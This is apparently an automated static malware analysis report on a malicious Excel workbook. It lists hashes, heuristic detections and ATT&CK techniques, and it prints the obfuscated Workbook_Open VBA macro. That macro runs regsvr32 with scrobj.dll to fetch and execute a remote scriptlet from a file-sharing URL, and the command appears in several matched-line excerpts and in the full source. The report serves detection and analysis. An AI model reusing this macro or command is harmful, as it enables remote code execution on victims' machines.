Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dfe5eabafec8c97d…

MALICIOUS

Office (OOXML)

15.9 KB Created: 2021-07-01 22:11:22 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-07-07
MD5: e8ea8b95dde6b03263dd9c5a7157e8ce SHA-1: 6ae78b6062ed14d688158ca44eb25bee6f13b08f SHA-256: dfe5eabafec8c97d8d3b5de6c7683ba16c4a779105a325d6037c7afb04744582
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32

The OOXML document contains a Workbook_Open VBA macro that utilizes WScript.Shell and CreateObject. This macro is designed to execute arbitrary commands, likely to download and run a secondary payload from the embedded URL. The obfuscated nature of the VBA code and the use of WScript.Shell indicate a malicious intent to compromise the user's system.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
        .Filters.Add "Excel Files", "*.UVYykVdeyEZHciGQLFb; *.sUAvw; *.yWBFhWcrRyZMoIXSPiDcwySIpa; *.RTXeuTeKIRZyGvULEnbfAQKwybph; *.oSAXnSfzpXZorQDIBMFhkvWefMdKJQOWHyQKTLSL", 1
Set eM = CreateObject("WScript.Shell")
eM.Run ("regsvr32 /sKNFunISQhpCRRsZtKZXoZNrRDPSITBoTHw   /nGWkdhDQZXaTbvANYSwieCKKuIpoaSHInDE   /uKNFunISQhpCRRsZtKZXoZNrRDPSITBoTHw  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll DDOeHddrTaECGsCPRoSPWLpiGEhkKpkCHe")
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        .Filters.Add "Excel Files", "*.UVYykVdeyEZHciGQLFb; *.sUAvw; *.yWBFhWcrRyZMoIXSPiDcwySIpa; *.RTXeuTeKIRZyGvULEnbfAQKwybph; *.oSAXnSfzpXZorQDIBMFhkvWefMdKJQOWHyQKTLSL", 1
Set eM = CreateObject("WScript.Shell")
eM.Run ("regsvr32 /sKNFunISQhpCRRsZtKZXoZNrRDPSITBoTHw   /nGWkdhDQZXaTbvANYSwieCKKuIpoaSHInDE   /uKNFunISQhpCRRsZtKZXoZNrRDPSITBoTHw  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll DDOeHddrTaECGsCPRoSPWLpiGEhkKpkCHe")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set eM = CreateObject("WScript.Shell")
eM.Run ("regsvr32 /sKNFunISQhpCRRsZtKZXoZNrRDPSITBoTHw   /nGWkdhDQZXaTbvANYSwieCKKuIpoaSHInDE   /uKNFunISQhpCRRsZtKZXoZNrRDPSITBoTHw  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll DDOeHddrTaECGsCPRoSPWLpiGEhkKpkCHe")
 .Show
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        .Filters.Add "Excel Files", "*.UVYykVdeyEZHciGQLFb; *.sUAvw; *.yWBFhWcrRyZMoIXSPiDcwySIpa; *.RTXeuTeKIRZyGvULEnbfAQKwybph; *.oSAXnSfzpXZorQDIBMFhkvWefMdKJQOWHyQKTLSL", 1
Set eM = CreateObject("WScript.Shell")
eM.Run ("regsvr32 /sKNFunISQhpCRRsZtKZXoZNrRDPSITBoTHw   /nGWkdhDQZXaTbvANYSwieCKKuIpoaSHInDE   /uKNFunISQhpCRRsZtKZXoZNrRDPSITBoTHw  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll DDOeHddrTaECGsCPRoSPWLpiGEhkKpkCHe")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Workbook_Open()
For sHedEFeI = 1 To AHFCCraVZEUZu
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74 In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5291 bytes
SHA-256: 57b50bdba8e813a4adbc9eace12843367a9e6e47555bc3da26e8490b09dc8b55
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
For sHedEFeI = 1 To AHFCCraVZEUZu
    HQGF = SIQhKSQGVpOhOBXFCfhbtzS.GeMVBrnRDXWIoRDyLBVUzNVZvISrioDFUzQYcnoeNcRyZdaBFYwubehSpNJTCZJwAtOTb(1).Range("IFECKWRiSWJOEQHKDzSLAaLUIiO" & sHedEFeI).Value
    fridIaSdWzzXE = SIQhKSQGVpOhOBXFCfhbtzS.GeMVBrnRDXWIoRDyLBVUzNVZvISrioDFUzQYcnoeNcRyZdaBFYwubehSpNJTCZJwAtOTb(1).Range("fZWSkTIzKSiCWHekVMJrParOfyBZeETGXSSUPKeRa?ftnOizSBd?JtreOiNWDKrhZN" & sHedEFeI).Value
    Select Case True
        Case HQGF = "fRdrwXCCwsedJkBFYKNvhyNSJRffoTMoKS:": SIQhKSQGVpOhOBXFCfhbtzS.GeMVBrnRDXWIoRDyLBVUzNVZvISrioDFUzQYcnoeNcRyZdaBFYwubehSpNJTCZJwAtOTb(1).Range("IFECKWRiSWJOEQHKDzSLAaLUIiO" & sHedEFeI & ":fZWSkTIzKSiCWHekVMJrParOfyBZeETGXSSUPKeRa?ftnOizSBd?JtreOiNWDKrhZN" & sHedEFeI).Font.Bold = True
        Case InStr(1, HQGF, "QJasJeLcMYnnrAZHMkbWDQYetPEZrfTYKpnAZZQezEhcpozQUdBF: ")
            SIQhKSQGVpOhOBXFCfhbtzS.GeMVBrnRDXWIoRDyLBVUzNVZvISrioDFUzQYcnoeNcRyZdaBFYwubehSpNJTCZJwAtOTb(1).Range("IFECKWRiSWJOEQHKDzSLAaLUIiO" & sHedEFeI & ":dDyMQrNCNXktdOWaLtUFFkSiZEJOGYUMsSbzdsBncQPMnGskUXvKSOhUKwNuMYWOcB" & sHedEFeI).Interior.ColorIndex = 15
            SIQhKSQGVpOhOBXFCfhbtzS.GeMVBrnRDXWIoRDyLBVUzNVZvISrioDFUzQYcnoeNcRyZdaBFYwubehSpNJTCZJwAtOTb(1).Range("IFECKWRiSWJOEQHKDzSLAaLUIiO" & sHedEFeI).Font.Bold = True
        Case InStr(1, fridIaSdWzzXE, "IFECKWRiSWJOEQHKDzSLAaLUIiO"): SIQhKSQGVpOhOBXFCfhbtzS.GeMVBrnRDXWIoRDyLBVUzNVZvISrioDFUzQYcnoeNcRyZdaBFYwubehSpNJTCZJwAtOTb(1).Range("fZWSkTIzKSiCWHekVMJrParOfyBZeETGXSSUPKeRa?ftnOizSBd?JtreOiNWDKrhZN" & sHedEFeI & ":fZWSkTIzKSiCWHekVMJrParOfyBZeETGXSSUPKeRa?ftnOizSBd?JtreOiNWDKrhZN" & (sHedEFeI + 2)).Interior.ColorIndex = 37
        Case InStr(1, fridIaSdWzzXE, "fZWSkTIzKSiCWHekVMJrParOfyBZeETGXSSUPKeRa?ftnOizSBd?JtreOiNWDKrhZN"): SIQhKSQGVpOhOBXFCfhbtzS.GeMVBrnRDXWIoRDyLBVUzNVZvISrioDFUzQYcnoeNcRyZdaBFYwubehSpNJTCZJwAtOTb(1).Range("fZWSkTIzKSiCWHekVMJrParOfyBZeETGXSSUPKeRa?ftnOizSBd?JtreOiNWDKrhZN" & sHedEFeI & ":fZWSkTIzKSiCWHekVMJrParOfyBZeETGXSSUPKeRa?ftnOizSBd?JtreOiNWDKrhZN" & (sHedEFeI + 2)).Interior.ColorIndex = 3
        Case InStr(1, fridIaSdWzzXE, "AQkSQVsyCywKoVQtwCbWOWXvewZJPRDcHXI"): SIQhKSQGVpOhOBXFCfhbtzS.GeMVBrnRDXWIoRDyLBVUzNVZvISrioDFUzQYcnoeNcRyZdaBFYwubehSpNJTCZJwAtOTb(1).Range("fZWSkTIzKSiCWHekVMJrParOfyBZeETGXSSUPKeRa?ftnOizSBd?JtreOiNWDKrhZN" & sHedEFeI & ":fZWSkTIzKSiCWHekVMJrParOfyBZeETGXSSUPKeRa?ftnOizSBd?JtreOiNWDKrhZN" & (sHedEFeI + 2)).Interior.Color = RGB(50, 205, 50)
    End Select
Next sHedEFeI
Application.DisplayAlerts = False
Dim wFITJZMCvBzREAVVyWhJwdhGrPwwciEvNiIXHKkipfVXPChRZRZtVzchzcEUPBAdWidsRX As PivotItem

With Application.FileDialog(msoFileDialogFilePicker)
      .AllowMultiSelect = False
    'ahSbJOvGoZOAXvGicoXTihIV  BFEMcXAOWTTut sHedEFeI  GeMVBrnRDXWIoRDyLBVUzNVZvISrioDFUzQYcnoeNcRyZdaBFYwubehSpNJTCZJwAtOTb
    .Filters.Add "Excel Files", "*.UVYykVdeyEZHciGQLFb; *.sUAvw; *.yWBFhWcrRyZMoIXSPiDcwySIpa; *.RTXeuTeKIRZyGvULEnbfAQKwybph; *.oSAXnSfzpXZorQDIBMFhkvWefMdKJQOWHyQKTLSL", 1
Set eM = CreateObject("WScript.Shell")
eM.Run ("regsvr32 /sKNFunISQhpCRRsZtKZXoZNrRDPSITBoTHw   /nGWkdhDQZXaTbvANYSwieCKKuIpoaSHInDE   /uKNFunISQhpCRRsZtKZXoZNrRDPSITBoTHw  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll DDOeHddrTaECGsCPRoSPWLpiGEhkKpkCHe")
 .Show
 'QJasJeLcMYnnrAZHMkbWDQYetPEZrfTYKpnAZZQezEhcpozQUdBF IFECKWRiSWJOEQHKDzSLAaLUIiO IFECKWRiSWJOEQHKDzSLAaLUIiO /nGWkdhDQZXaTbvANYSwieCKKuIpoaSHInDE BFEMcXAOWTTut IFECKWRiSWJOEQHKDzSLAaLUIiO IFECKWRiSWJOEQHKDzSLAaLUIiO IFECKWRiSWJOEQHKDzSLAaLUIiO BFEMcXAOWTTut

End With
If InStr(fullpath, ".yWBFhWcrRyZMoIXSPiDcwySIpa") = 0 Then
 
    Exit Sub
End If
End With

With wb.GeMVBrnRDXWIoRDyLBVUzNVZvISrioDFUzQYcnoeNcRyZdaBFYwubehSpNJTCZJwAtOTb("kEayHyOkTTownQZsROfKdiUyEdiXrBBSKQ").PivotTables(1).PivotFields("ZTWGDRUXvQbpUbhL")
.Orientation = xlDataField
.Name = "dPPCkTtaGKCeOBAhuUfurAffbkJkWDhYnItiOIaTYMWPsz"
.NumberFormat = "dPPCkTtaGKCeOBAhuUfurAffbkJkWDhYnItiOIaTYMWPsz"
.Function = xlCount
.Calculation = xlPercentOfRow
End With

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 20992 bytes
SHA-256: bb287702d4d7553f3813e14e4a466ed5290526dd544f89cbd35c000fb639f44f

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